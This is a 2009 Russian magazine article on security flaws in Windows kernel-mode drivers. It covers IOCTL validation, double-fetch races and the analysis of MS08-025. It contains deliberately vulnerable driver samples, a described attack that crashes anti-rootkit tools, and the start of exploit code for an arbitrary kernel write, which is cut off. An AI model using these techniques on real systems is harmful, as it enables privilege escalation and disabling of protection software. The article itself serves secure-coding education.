Сообщений 16    Оценка 287        Оценить  
Система Orphus

Уязвимости в драйверах режима ядра для Windows

Автор: Олексюк Дмитрий
eSage lab

Источник: RSDN Magazine #1-2009
Опубликовано: 04.09.2009
Исправлено: 10.12.2016
Версия текста: 1.0
Введение
Диспетчер ввода-вывода
Общие вопросы написания защищённого кода
Double fetch уязвимости
Несколько слов о защитном ПО
Уязвимости в антируткитах
От защитного ПО к ядру операционной системы
Эксплуатация локальных уязвимостей в драйверах режима ядра
Полезная нагрузка
Дальнейшие шаги в эксплуатации уязвимостей
Автоматизация выявления уязвимостей
Фаззинг в реальных условиях
Ручной поиск уязвимостей
Выводы

Введение

Многим известно, что драйверы режима ядра в Windows используются не только для управления устройствами. Очень многие программы используют их как «окно» для доступа в более привилегированный режим – Ring 0. В первую очередь это касается защитного ПО, к которому можно отнести антивирусы, персональные файрволы, HIPS-ы (Host Intrusion Prevention Systems) и программы класса internet security. Очевидно, что кроме основных функций подобные драйверы будут оснащены также механизмами взаимодействия, предназначенными для обмена данными между драйвером и другими программными компонентами, работающими в пользовательском режиме. Тот факт, что код, работающий на высоком уровне привилегий, получает данные от кода, работающего на уровне привилегий более низком, заставляет разработчиков уделять повышенное внимание вопросам безопасности при проектировании и разработке упомянутых выше механизмов взаимодействия. Однако как с этим обстоят дела на практике?

В этой статье я максимально широко рассмотрю тему уязвимостей в драйверах режима ядра, их эксплуатации и поиска. Вопросы написания качественного и надежного кода также не останутся без внимания.

Диспетчер ввода-вывода

Существует достаточно много как документированных, так и не очень, системных механизмов, которые могут быть использованы для организации взаимодействия кода пользовательского режима с драйверами режима ядра. Самыми функциональными и наиболее часто используемыми являются те механизмы, которые представляются диспетчером ввода-вывода. В конце концов, именно они и создавались разработчиками операционной системы для подобных задач. Давайте рассмотрим, как обычно организуется работа с диспетчером ввода-вывода со стороны драйвера и приложения. После загрузки драйвер создаёт именованный объект ядра «устройство», используя функцию IoCreateDevice. Для обработки обращений к созданным устройствам драйвер ассоциирует со своим объектом набор функций-обработчиков. Эти функции вызываются диспетчером ввода-вывода при выполнении определённых операций с устройством (открытие, закрытие, чтение, запись и т.д.), а также в случае некоторых системных событий (например, завершения работы системы или монтирования раздела жесткого диска). Структура, описывающая объект «драйвер», называется DRIVER_OBJECT, а эти функции – IRP (I/O Request Packet) обработчиками. Их адреса драйвер помещает в поле DRIVER_OBJECT::MajorFunction, которое, по своей сути, является массивом указателей, имеющим фиксированный размер IRP_MJ_MAXIMUM_FUNCTION + 1.

Константа IRP_MJ_MAXIMUM_FUNCTION определена в заголовочных файлах Driver Development Kit (DDK) как 27. Как видите, типов событий, связанных с устройством, довольно много. IRP-обработчики имеют следующий тип:

      typedef
NTSTATUS
(*PDRIVER_DISPATCH) (
  IN struct _DEVICE_OBJECT *DeviceObject,
  IN struct _IRP *Irp
);

Параметр DeviceObject указывает на конкретное устройство (у одного драйвера их может быть много), а Irp – на структуру, содержащую различную информацию о запросе к устройству: контрольный код, буферы для входящих и исходящих данных, статус завершения обработки запроса и многое другое.

Так как устройство, создаваемое драйвером, является именованным объектом, оно видно в пространстве имён диспетчера объектов. Это позволяет открывать его по имени, используя функцию CreateFile/OpenFile (или её native-аналог – NtCreateFile/NtOpenFile). Именно это, как правило, в первую очередь и делает код пользовательского режима, которому необходимо передать драйверу, владеющему устройством, какой-либо запрос. Во время открытия устройства, в контексте процесса, осуществляющего эту операцию, вызывается обработчик драйвера IRP_MJ_CREATE. Подобные уведомления позволяют драйверу управлять открытием своих устройств – он может запретить или разрешить это по своему усмотрению. Если открытие устройства со стороны драйвера было разрешено, система создаёт ассоциированный с устройством объект ядра типа «файл», дескриптор которого возвращается функцией CreateFile. Когда устройство открыто, приложение может вызывать функции ReadFile, WriteFile и DeviceIoControlFile для взаимодействия с драйвером. Наибольший интерес для нас представляет последняя функция.

BOOL
WINAPI
DeviceIoControl(
  HANDLE     hDevice,
  DWORD    dwIoControlCode,
  LPVOID     lpInBuffer,
  DWORD    nInBufferSize,
  LPVOID     lpOutBuffer,
  DWORD    nOutBufferSize,
  LPDWORD    lpBytesReturned,
  LPOVERLAPPED lpOverlapped
);

Ниже представлена схема поясняющая способ обработки запроса после вызова данной функции:


Рисунок 1. Путь прохождения IRP запроса.

В качестве параметра hDevice она получает дескриптор устройства, в lpInBuffer и nInBufferSize передается указатель на буфер с входящими данными и его размер, а в lpOutBuffer и nOutBufferSize – указатель и размер буфера для данных, которые будут возвращены драйвером. Отдельно стоит рассказать о параметре dwIoControlCode. Он представляет собой двойное слово и служит для указания драйверу кода операции, которую мы хотим осуществить. Поддерживаемые драйвером значения кода запроса ввода-вывода определяются на этапе написания конкретного драйвера (т.е., жестко «зашиты» в его код) и выбираются разработчиком не по произвольному принципу. Вот какую информацию извлекает диспетчер ввода-вывода из этого двойного слова:


Рисунок 2. I/O Control Code.

Device Type – идентификатор устройства (биты 16-31); диапазон 0-7FFFh зарезервирован Microsoft, а значение из диапазона 8000h-0FFFFh может быть любым, по усмотрению разработчика драйвера. Это значение также передаётся функции IoCreateDevice в качестве параметра DeviceType при создании устройства.

Access – набор флагов, определяющих права доступа к устройству.

Function – определяет операцию, выполнение которой требуется от драйвера.

Method – определяет метод ввода-вывода.

Общие вопросы написания защищённого кода

Теперь, когда вы уже знакомы с общими принципами работы диспетчера ввода-вывода, мы можем рассмотреть пример исходного кода обработчика IRP_MJ_DEVICE_CONTROL, который осуществляет копирование данных из памяти пользовательского режима, указатель на которую передаётся драйверу в IRP-запросе. Пример подобного кода можно найти в очень многих реальных программах и, как правило, не все из них корректно справляются с валидацией входных данных.

      typedef
      struct _REQUEST_BUFFER
{
  PUCHAR Data;
  ULONG  Size;

} REQUEST_BUFFER,
*PREQUEST_BUFFER;

#define BUFFER_SIZE 0x100

#define IOCTL_PROCESS_DATA CTL_CODE(FILE_DEVICE_UNKNOWN, 1, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)

NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
  // получаем указатель на IO_STACK_LOCATION
  PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);

  Irp->IoStatus.Status = STATUS_SUCCESS;
  Irp->IoStatus.Information = 0;  

  // проверка типа IRP-запросаif (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL) 
  {
    // получаем код операции, размер данных и указатель на них
    ULONG Code = stack->Parameters.DeviceIoControl.IoControlCode;
    ULONG Size = stack->Parameters.DeviceIoControl.InputBufferLength;
    PREQUEST_BUFFER Buff = 
      (PREQUEST_BUFFER)Irp->AssociatedIrp.SystemBuffer;

    switch (Code)
    {
    case IOCTL_PROCESS_DATA:
      {
        UCHAR Data[BUFFER_SIZE];
        
           // выполняем копирование данных в локальный буфер
           RtlCopyMemory(Data, Buff->Data, Buff->Size);
          
           // обработка полученных данных// ...break;
      }      

    default:
      {
        // неверный код операции
        Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
        break;
      }      
    }
  }

  // сообщаем диспетчеру ввода-вывода о том, 
  // что мы закончили обрабатывать этот IRP
  IoCompleteRequest(Irp, IO_NO_INCREMENT);

  return STATUS_SUCCESS;
}

В данном случае использование METHOD_BUFFERED освобождает разработчиков от необходимости валидации полученного указателя на REQUEST_BUFFER (система делает это сама при копировании данных в не подкачиваемый пул), однако, проанализировав код более детально, можно сделать выводы о наличии нескольких очень грубых ошибок:

Для исправления этих недостатков приведенный выше фрагмент необходимо переписать следующим образом:

      case IOCTL_PROCESS_DATA:
  {
    if (Size == sizeof(REQUEST_BUFFER))
    {
      UCHAR Data[BUFFER_SIZE];

      // проверяем размер и принадлежность указателя
      // к диапазону адресов режима пользователяif (Buff->Size <= sizeof(Data) && 
        Buff->Data < MM_HIGEST_USER_ADDRESS)
      {
        BOOLEAN bOk = FALSE;

        __try
        {
          ProbeForRead(Buff->Data, Buff->Size, 1);
          bOk = TRUE;
        }
        __except (EXCEPTION_EXECUTE_HANDLER)
        {
          // ProbeForRead вызвала исключение
        }

        if (bOk)
        {
          // выполняем копирование данных в локальный буфер
          RtlCopyMemory(Data, Buff->Data, Buff->Size);

          // обработка полученных данных// ...
        }            
      }
    }

    break;
  }

Как видите, в этом варианте присутствуют все необходимые проверки. Для валидации user mode-указателя используется документированная в DDK функция ProbeForRead. Если вы используете метод ввода-вывода METHOD_NEITHER, то вам в качестве дополнительной меры обязательно нужно подвергать аналогичной проверке указатель на входные и выходные пользовательские данные IRP-запроса (поля DeviceIoControl.Type3InputBuffer и UserBuffer). Причем для выходного буфера следует использовать функцию ProbeForWrite, так как он может находиться на странице памяти пользовательского режима, не имеющей разрешение на запись, что в свою очередь вызовет BSоD при попытке записать туда что-либо из драйвера.

Ситуация, когда в драйвер передаётся указатель на память, лежащую в диапазоне адресов режима ядра, встречается менее часто. Для валидации подобного указателя нельзя использовать функции ProbeForRead/ProbeForWrite, ошибки доступа к памяти режима ядра не отлавливаются также и структурными обработчиками исключений, поэтому придется использовать другую функцию, MmIsAddressValid. Для удобства можно написать свою обёртку над ProbeForRead и MmIsAddressValid, пригодную для проверки как kernel mode, так и user mode-указателей.

BOOLEAN ValidateData(PVOID Address, ULONG Size)
{
  BOOLEAN bRet = TRUE;

  if (Size <= 0)
  {
    return FALSE;
  }

  if (Address > MM_HIGHEST_USER_ADDRESS)
  {
    // мы имеем дело с kernel mode-адресомfor (ULONG i = 0; i < Size; i++)
    {
      if (!MmIsAddressValid((PUCHAR)Address + i))
      {
        bRet = FALSE;
        break;
      }
    }
  }
  else
  {
    // это user mode-адрес__try
    {
      ProbeForRead(Address, Size, 1);
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
      // ProbeForRead вызвала исключение
      bRet = FALSE;
    }
  }

  return bRet;
}

Весьма часто перед разработчиком драйверов режима ядра встает необходимость перехвата различных системных сервисов. Разумеется, в этом случае также нужно предпринимать все необходимые меры для проверки получаемых параметров. Однако особенность именно системных сервисов заключается в том, что они могут быть вызваны как из пользовательского режима (Zw* и Nt* функции ntdll.dll), так и из режима ядра (Zw* функции ntoskrnl.exe). В последнем случае параметры сервиса могут содержать указатели на память режима ядра, и это нужно как-то учитывать во время их валидации. К счастью, для определения того, из какого режима был осуществлён вызов системного сервиса, разработчики ядра предоставили в наше полное распоряжение функцию GetPreviousMode. Она возвращает значение поля PreviousMode структуры KTHREAD, описывающей текущий поток, а само значение устанавливается диспетчером системных вызовов. Ниже приведён пример проверки входных параметров обработчика перехвата системного сервиса NtOpenProcess:

NTSTATUS __stdcall hooked_NtOpenProcess(
  PHANDLE            ProcessHandle,
  ACCESS_MAS K       DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes,
  PCLIENT_ID         ClientId)
{
  ULONG ProcessId = 0;

  if (GetPeviousMode() == UserMode &&
    ClientId < MM_HIGHEST_USER_ADDRESS)
  {
    // системный сервис был вызван из пользовательского режима__try
    {
      // безопасным образом извлекаем идентификатор процесса
      ProcessId = ClientId->UniqueProcess;
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
      return STATUS_INVALID_PARAMETER;
    }
  }
  else
  {
    // системный сервис был вызван из режима ядра
    ProcessId = ClientId->UniqueProcess;
  }

  // дальнейшая обработка параметров вызова// ...
}

Возможно, вас несколько удивит отсутствие какой-либо проверки на случай, если GetPreviousMode вёрнет KernelMode, однако это весьма распространенная практика, и проверка параметров системных вызовов в самом ядре осуществляется аналогичным образом. Зачем лишний раз занимать процессор ресурсоёмкими операциями, если драйвер режима ядра и без того имеет огромную кучу возможностей уронить систему? Совершенно незачем.

Несмотря на то, что подавляющее большинство ошибок реализации в драйверах реальных программ обусловлено именно неправильной валидацией указателей и некорректной проверкой формата/размера входных данных, разработчику стоит обращать внимание не только на это. Вот ещё некоторые нюансы, которые необходимо соблюдать при написании качественного кода:

Double fetch уязвимости

Взгляните на следующий пример кода:

      #define IOCTL_PROCESS_DATA CTL_CODE(
  FILE_DEVICE_UNKNOWN, 1, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)

NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
  // получаем указатель на IO_STACK_LOCATION
  PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);

  Irp->IoStatus.Status = STATUS_SUCCESS;
  Irp->IoStatus.Information = 0;  

  // проверка типа IRP-запросаif (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL) 
  {
    // получаем код операции, размер данных и указатель на них
    ULONG Code = stack->Parameters.DeviceIoControl.IoControlCode;
    // в этом примере используется METHOD_NEITHER
    PREQUEST_BUFFER Buff = (PREQUEST_BUFFER)stack->Parameters.DeviceIoControl.Type3InputBuffer;

    switch (Code)
    {
    case IOCTL_PROCESS_DATA:
      {
        // проверяем указатель на данные IRP-запросаif (Buff < MM_HIGHEST_USER_ADDRESS)
        {
          UCHAR Data[BUFFER_SIZE];
          BOOLEAN bOk = FALSE;

          __try
          {
            ProbeForRead(Buff, sizeof(REQUEST_BUFFER), 1);
            bOk = TRUE;
          }
          __except (EXCEPTION_EXECUTE_HANDLER)
          {
            // ProbeForRead вызвала исключение
          }

          // ок, теперь выполняем валидацию указателя, 
          // находящегося в структуреif (bOk && Buff->Data < MM_HIGHEST_USER_ADDRESS)
          {
            bOk = FALSE;

            // [фрагмент №1]---------------------------------__try
            {
              ProbeForRead(Buff->Data, Buff->Size, 1);
              bOk = TRUE;
            }
            __except (EXCEPTION_EXECUTE_HANDLER)
            {
              // ProbeForRead вызвала исключение
            }
            // ----------------------------------------------if (bOk)
            {
              // [фрагмент №2]------------------------------------// выполняем копирование данных в локальный буфер
              RtlCopyMemory(Data, Buff->Data, Buff->Size);
              // -------------------------------------------------// обработка полученных данных// ...
            }            
          }            
        }        

        break;
      }      

    default:
      {
        // неверный код операции
        Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
        break;
      }      
    }
  }

  // сообщаем диспетчеру ввода-вывода о том, 
  // что мы закончили обрабатывать этот IRP
  IoCompleteRequest(Irp, IO_NO_INCREMENT);

  return STATUS_SUCCESS;
}

От приведённого в прошлой главе примера он отличается разве что другим методом ввода-вывода – METHOD_NEITHRER, но все необходимые проверки присутствуют, и, на первый взгляд, придраться не к чему. Однако этот код содержит весьма серьёзную уязвимость, которая в определённых ситуациях может привести к переполнению стека. Дело в том, что IRP-обработчики выполняются на низком IRQL, а это значит, что поток во время исполнения кода IRP-обработчика, по исчерпанию кванта процессорного времени, может быть прерван другим потоком. А теперь давайте представим, что первый поток, исполняющий показанный выше код, был прерван после того, как он успел выполнить выделенный фрагмент №1 (валидация указателя), но до того, как начал исполняться фрагмент №2 (копирование данных). В это время второй поток, который вытеснил первый, подменяет значение полей Buff->Data/Buff->Size (Buff указывает на память режима пользователя из-за METHOD_NEITHRER), ну а первый поток, после своего возобновления, имеет уже не те данные, с которыми он работал на момент проверки. Это и даёт возможность атакующему добиться переполнения локального буфера Data[].

Такой тип уязвимостей называется double fetch, и пример показанный мной возник не на пустом месте. Такие уязвимости тяжело выявлять и ещё сложнее эксплуатировать, однако в реальных программах они встречаются. Примером этого может служить уязвимость MS08-061, которая была найдена осенью 2008 года в драйвере графической подсистемы Windows (win32k.sys). Для предотвращения подобных ситуаций разработчику достаточно всего-навсего обращаться к полям структуры всего один раз, сохраняя их значения в локальных переменных.

Техника эксплуатации double fetch-уязвимостей заключается в создании двух потоков, первый из которых будет в цикле отправлять IRP-запрос драйверу, а второй, с более высоким приоритетом, вызывать функцию Sleep, подбирая интервал задержки таким образом, чтобы исполнение первого потока прервалось в нужном месте. В процессе этих манипуляций другие потоки системы должны быть приостановлены, если такая возможность присутствует. Разумеется, никаких гарантий успешной эксплуатации нет даже близко, и в условиях, отличных от лабораторных, её вероятность будет определяться исключительно волей случая.

Несколько слов о защитном ПО

Раскрытые выше вопросы написания кода в полной мере характерны для любых драйверов режима ядра. Но так как эксплуатация уязвимостей драйверов в большей степени является проблемой для защитных программ, я считаю необходимым также затронуть и те вопросы их проектирования, которые напрямую связаны с нашей темой.

Одним из немногих необходимых условий успешной эксплуатации уязвимости в драйвере, который использует возможности диспетчера ввода-вывода для взаимодействия с приложением, является возможность беспрепятственного получения дескриптора его устройства. Очевидно, что, не имея дескриптора, мы не сможем осуществить атаку, передав драйверу нужные нам данные с помощью функции DeviceIoControl. Можно придумать не так много способов получения дескрипторов устройства:

Препятствовать осуществлению и первого, и второго потенциально злонамеренным кодом достаточно просто. В случае с непосредственным открытием устройства по имени, все рычаги управления нам предоставляет диспетчер ввода-вывода: в обработчике IRP_MJ_CREATE будет достаточно или проверять процесс, со стороны которого был осуществлён вызов, или разрешать открывать устройство только один раз. Если вы решите использовать последний вариант решения проблемы, нужно иметь в виду, что драйверу придется не только следить за тем, чтобы легитимный процесс получал возможность «захватить» устройство раньше злонамеренного, но и корректно отрабатывать в случае возможного аварийного завершения легитимного процесса из-за внутренней ошибки. Чтобы помешать копированию дескриптора устройства из легитимного процесса, достаточно просто предотвратить возможность его открытия. Этого можно добиться перехватом системного вызова NtOpenProcess или разграничением привилегий, при котором злонамеренный процесс в любой ситуации не будет иметь прав на открытие легитимного процесса. Разумеется, первый вариант более пригоден для общего использования, так как большинство пользователей Windows работают под учётной записью с административными привилегиями. Многие HIPS-ы для предотвращения копирования дескрипторов также перехватывают системный вызов NtDuplicateHandle, что должно помешать получению дескриптора легитимного процесса путём копирования его из процесса сервера подсистемы win32 (csrss.exe, он владеет дескрипторами всех процессов), такая дополнительная мера также весьма и весьма желательна.

Однако я слишком углубился в теоретические изыскания. А как же действительно обстоят дела в защитных программах? К сожалению, несмотря на простоту и очевидность описанных в этой главе мер, в настоящее время ни один продукт (будь то антивирус, или файрвол, или пакет класса internet security) должным образом не препятствует открытию дескрипторов своих устройств сторонними процессами. Это демонстрирует крайнюю степень недальновидности и бессистемного подхода разработчиков данного ПО: ведь даже при отсутствии уязвимости злонамеренный процесс будет иметь возможность банально послать драйверу системы защиты «магический» запрос, который используется легитимным приложением-сервисом для её отключения при нажатии пользователем на соответствующую кнопку. Нередки и такие ситуации, когда вспомогательная DLL-библиотека, внедряемая HIPS-ом в контролируемый процесс, напрямую общается с устройством драйвера защиты. В этом случае для эксплуатации уязвимости или отправки того самого «магического» запроса открытие устройства вообще не требуется: достаточно только перечислить свои дескрипторы, с целью найти среди них нужный.

Уязвимости в антируткитах

Разработчикам также важно уделять особое внимание написанию кода, который осуществляет парсинг файлов какого-либо формата. Это могут быть как текстовые форматы вроде XML или INI, так и бинарные, вроде Portable Executable. Примером в случае с PE-файлами могут служить современные антируткит-утилиты, которые, как известно, помимо скрытых объектов (файлы, ключи системного реестра, процессы) могут также обнаруживать перехваты функций, установленные путём патчинга их кода (такая техника перехвата называется сплайсинг). Очевидно, что для детектирования сплайсинга достаточно прочитать код, который содержится в исполняемом файле на диске и сравнить его с тем, который загружен в память. Вот здесь и начинается самое интересное. Дело в том, что в зависимости от аппаратной конфигурации путь к исполняемому файлу ядра может отличаться на разных системах, поэтому большинство антируткитов получают данный путь либо из информации о загруженных модулях, возвращённой функцией NtQuerySystemInformation, либо самостоятельным анализом списка загруженных модулей ядра. Список загруженных модулей является двусвязным, его заголовок находится в глобальной переменной ядра, которая называется PsLoadedModuleList, а каждый элемент списка описывается структурой LDR_DATA_TABLE_ENTRY. Именно на этой особенности работы антируткитов основывается атака, состоящая из следующих шагов:

  1. Атакующий находит в списке загруженных модулей запись, которая содержит информацию о ядре.
  2. Файл ядра копируется в произвольное место с произвольным именем.
  3. В копию файла ядра вносятся изменения, делающие невозможным его корректную обработку (например, изменяются указатели на данные секции таким образом, чтобы указатель ссылался на невалидную страницу памяти).
  4. В найденной в п.1 записи списка загруженных модулей путь к файлу ядра заменяется путём к модифицированной копии.

Большинство антируткитов не ожидают подвоха именно в этом месте, поэтому при обработке некорректного исполняемого файла или сами завершают свою работу с ошибкой, или роняют систему в BSoD. Применение такой атаке найти просто. Уровень развития современных антируткитов делает задачу полного сокрытия вредоносного кода в системе невероятно сложной, поэтому авторы многих зловредов стараются помешать нормальной работе защитного софта, а подобная атака избавляет от необходимости писать код детектирования работы для каждой утилиты в отдельности.

Название утилиты Версия Результат атаки
Rootkit Unhooker 4.6.520.1010 При запуске утилита сообщает о том, что путь к исполняемому файлу ядра, вероятно, неверный. Путь к оригинальному файлу находится путем анализа конфигурации операционной системы. После инициализации все функции работают корректно.
Safe’n’Sec Rootkit Detector 1.0.0.1 BSoD в драйвере GvzLcez.sys из-за обращения к невалидному адресу памяти во время парсинга подмененного исполняемого файла.
GMER 1.0.14.14116 Падение процесса gmer.exe на этапе инициализации из-за обращения к невалидному адресу памяти во время парсинга подмененного исполняемого файла.
IceSword 1.2.2.0 При запуске показывает сообщение, содержащее текст “Initialize failed, error code: 1”, после чего процесс завершается.

Как вы можете видеть по результатам тестирования самых популярных антируткитов, корректно отработал в данной ситуации только Rootkit Unhooker, который, к слову, вполне заслуженно имеет славу одной из самых стабильных и функциональных утилит подобного рода.


Рисунок 3. Rootkit Unhooker, успешно отразивший атаку.

От защитного ПО к ядру операционной системы

В апреле 2008 года в публичных источниках впервые появилась информация об уязвимости MS08-025, эксплуатация которой позволяла выполнить произвольный код в режиме ядра и достичь благодаря этому локального повышения привилегий на операционных системах Windows XP и Windows Server 2003. Стоит сказать, что это уже далеко не первая уязвимость, которая была обнаружена в win32k.sys, и я более чем уверен, что и не последняя. Такая ситуация сложилась в первую очередь из-за того, что изначально графическая подсистема работала в режиме пользователя (по Windows NT 4.0 включительно), но позже, чтобы сократить количество ресурсоёмких операций по переключению потока в режим ядра, разработчиками Windows было решено перенести графическую подсистему в Ring 0. Однако, в силу достаточно большого объёма кода и архитектурных особенностей, во время этого переноса не было уделено достаточно внимания вопросам безопасности, что в свою очередь и способствовало появлению в win32k.sys большого количества уязвимостей разной степени опасности.

Причиной уязвимости MS08-025 стала неправильная валидация входных параметров в системном вызове графической подсистемы NtUserMessageCall. Прототип этой недокументированной функции выглядит так:

LRESULT __stdcall NtUserMessageCall(
  HWND    hwnd,
  UINT    msg,
  WPARAM    wParam,
  LPARAM    lParam,
  ULONG_PTR   xParam,
  DWORD     xpfnProc,
  BOOL    bAnsi
);

Взгляните на следующий фрагмент дизассемблерного листинга данной функции:

win32k!NtUserMessageCall:
bf80f615 8bff      mov   edi,edi
bf80f617 55        push  ebp
bf80f618 8bec      mov   ebp,esp
bf80f61a 83ec0c      sub   esp,0Ch
bf80f61d 56        push  esi
bf80f61e 57        push  edi
bf80f61f e81614ffff    call  win32k!EnterCrit (bf800a3a)
bf80f624 8b4d08      mov   ecx,dwordptr [ebp+8]
; выполняем валидацию хендла окна, переданного в первом параметре
bf80f627 e8cd1effff    call  win32k!ValidateHwnd (bf8014f9)
bf80f62c 8b4d1c      mov   ecx,dwordptr [ebp+1Ch]
bf80f62f 8bf0      mov   esi,eax
bf80f631 85f6      test  esi,esi
bf80f633 74c5      je    win32k!NtUserMessageCall+0x20 (bf80f5fa)
bf80f635 a118899abf    mov   eax,dwordptr [win32k!gptiCurrent (bf9a8918)]
bf80f63a 8b5028      mov   edx,dwordptr [eax+28h]
bf80f63d 8955f4      mov   dwordptr [ebp-0Ch],edx
bf80f640 8d55f4      lea   edx,[ebp-0Ch]
bf80f643 895028      mov   dwordptr [eax+28h],edx
bf80f646 8975f8      mov   dwordptr [ebp-8],esi
bf80f649 ff4604      inc   dwordptr [esi+4]
bf80f64c 8b450c      mov   eax,dwordptr [ebp+0Ch]
bf80f64f 25ffff0100    and   eax,1FFFFh
bf80f654 3d00040000    cmp   eax,400h
bf80f659 733b      jae   win32k!NtUserMessageCall+0x6e (bf80f696)
bf80f65b ff7520      push  dwordptr [ebp+20h]
bf80f65e 0fb680e0e898bf  movzx   eax,byteptr win32k!MessageTable (bf98e8e0)[eax]
bf80f665 51        push  ecx; со 2-го по 5-й передаются через стек вызываемой далее функции 
bf80f666 ff7518      push  dwordptr [ebp+18h]
bf80f669 83e03f      and   eax,3Fh
bf80f66c ff7514      push  dwordptr [ebp+14h]
bf80f66f ff7510      push  dwordptr [ebp+10h]
bf80f672 ff750c      push  dwordptr [ebp+0Ch]
bf80f675 56        push  esi; C-оператор case: вызываемая функция определяется 6-м параметром
bf80f676 ff148500e898bf  call  dwordptr win32k!gapfnMessageCall (bf98e800)[eax*4]
bf80f67d 83feff      cmp   esi,0FFFFFFFFh
bf80f680 8bf8      mov   edi,eax
bf80f682 7405      je    win32k!NtUserMessageCall+0xba (bf80f689)
bf80f684 e80c1affff    call  win32k!ThreadUnlock1 (bf801095)
bf80f689 e8d813ffff    call  win32k!LeaveCrit (bf800a66)
bf80f68e 8bc7      mov   eax,edi
bf80f690 5f        pop   edi
bf80f691 5e        pop   esi
bf80f692 c9        leave
bf80f693 c21c00      ret   1Ch

По адресу win32k!gapfnMessageCall, как несложно догадаться, находится таблица адресов переходов C-оператора case. В стеке вызываемой функции передаются c второго по пятый параметры (msg, wParam, lParam, xParam), что были переданы в NtUserMessageCall, а сама вызываемая функция определяется шестым параметром (xPfnProc). Если в качестве значения этого параметра передать ноль, будет осуществлён вызов следующей функции:

win32k!NtUserfnOUTSTRING:
bf8dc6b2 6a14         push  14h
bf8dc6b4 6850b698bf   push  offset win32k!`string'+0x8b0 (bf98b650)
bf8dc6b9 e82f44f2ff   call  win32k!_SEH_prolog (bf800aed)
bf8dc6be 33d2         xor   edx,edx
bf8dc6c0 8955fc       mov   dwordptr [ebp-4],edx
bf8dc6c3 8b45e0       mov   eax,dwordptr [ebp-20h]
bf8dc6c6 b9ffffff7f   mov   ecx,7FFFFFFFh
bf8dc6cb 23c1         and   eax,ecx
bf8dc6cd 8b7520       mov   esi,dwordptr [ebp+20h]
bf8dc6d0 c1e61f       shl   esi,1Fh
bf8dc6d3 0bc6         or    eax,esi
bf8dc6d5 8945e0       mov   dwordptr [ebp-20h],eax
bf8dc6d8 8bf0         mov   esi,eax
bf8dc6da 337510       xor   esi,dwordptr [ebp+10h]
bf8dc6dd 23f1         and   esi,ecx
bf8dc6df 33c6         xor   eax,esi
bf8dc6e1 8945e0       mov   dwordptr [ebp-20h],eax
bf8dc6e4 395520       cmp   dwordptr [ebp+20h],edx
bf8dc6e7 750c         jne   win32k!NtUserfnOUTSTRING+0x43 (bf8dc6f5)
bf8dc6e9 8d3400       lea   esi,[eax+eax]
bf8dc6ec 33f0         xor   esi,eax
bf8dc6ee 23f1         and   esi,ecx
bf8dc6f0 33c6         xor   eax,esi
bf8dc6f2 8945e0       mov   dwordptr [ebp-20h],eax
bf8dc6f5 8955dc       mov   dwordptr [ebp-24h],edx
bf8dc6f8 8b7514       mov   esi,dwordptr [ebp+14h]
bf8dc6fb 8975e4       mov   dwordptr [ebp-1Ch],esi
bf8dc6fe 33db         xor   ebx,ebx
bf8dc700 43           inc   ebx
bf8dc701 53           push  ebx
bf8dc702 23c1         and   eax,ecx
bf8dc704 50           push  eax
bf8dc705 56           push  esi; проверка доступности памяти на запись; адрес – 3-й параметр, размер  - 4-й
bf8dc706 ff1550a698bf call  dwordptr [win32k!_imp__ProbeForWrite (bf98a650)]
bf8dc70c 834dfcff     or    dwordptr [ebp-4],0FFFFFFFFh
bf8dc710 8b451c       mov   eax,dwordptr [ebp+1Ch]
bf8dc713 83c006       add   eax,6
bf8dc716 83e01f       and   eax,1Fh
bf8dc719 ff7518       push  dwordptr [ebp+18h]
bf8dc719 ff7518       push  dwordptr [ebp+18h]
bf8dc71c 8d4ddc       lea   ecx,[ebp-24h]
bf8dc71f 51           push  ecx
bf8dc720 ff7510       push  dwordptr [ebp+10h]
bf8dc723 ff750c       push  dwordptr [ebp+0Ch]
bf8dc726 ff7508       push  dwordptr [ebp+8]
bf8dc729 8b0d58859abf mov   ecx,dwordptr [win32k!gpsi (bf9a8558)]
bf8dc72f ff54810c     call  dwordptr [ecx+eax*4+0Ch]
bf8dc733 8bf8         mov   edi,eax
bf8dc735 85ff         test  edi,edi
bf8dc737 0f8452ffffff je    win32k!NtUserfnOUTSTRING+0x87 (bf8dc68f)

...

bf8dc68f 394510       cmp   dwordptr [ebp+10h],eax
bf8dc692 0f84a5000000 je    win32k!NtUserfnOUTSTRING+0xad (bf8dc73d)
bf8dc698 895dfc       mov   dwordptr [ebp-4],ebx
bf8dc69b ff7520       push  dwordptr [ebp+20h]
bf8dc69e 56           push  esi; запись терминирующего нулевого байта 
; (или слова, если третий параметр указывает на Unicode-строку)
bf8dc69f e8ec77ffff   call  win32k!NullTerminateString (bf8d3e90)
bf8dc6a4 834dfcff     or    dwordptr [ebp-4],0FFFFFFFFh
bf8dc6a8 e990000000   jmp   win32k!NtUserfnOUTSTRING+0xad (bf8dc73d)

Этот код с помощью уже известной нам функции ProbeForWrite проверяет доступность для записи буфера со строкой, адрес и длина которой определяется четвертым и пятым параметрами (lParam и xParam) функции NtUserMessageCall. Если указатель корректен, в конец строки записывается нулевой байт (слово), чтобы эту строку корректно обработала функция RtlMultiByteToUnicodeN (в листинге её вызов пропущен). На первый взгляд здесь всё совершенно корректно, однако разработчики забыли учесть тот факт, что ProbeForWrite всегда возвращает TRUE, если в качестве длины был передан ноль. Этот факт, в свою очередь, вместе с отсутствием проверки принадлежности указателя к диапазону памяти пользовательского режима, позволяет записать нулевое слово по произвольному адресу памяти ядра. Для этого нужно вызвать NtUserMessageCall следующим образом:

      __declspec(naked) LRESULT __stdcall NtUserMessageCall(
  HWND      hwnd,
  UINT      msg,
  WPARAM    wParam,
  LPARAM    lParam,
  ULONG_PTR xParam,
  DWORD     xpfnProc,
  BOOL      bAnsi)
{
  __asm
  {
    // в eax - номер системного вызова
    mov   eax,SDT_INDEX_OF_NtUserMessageCall
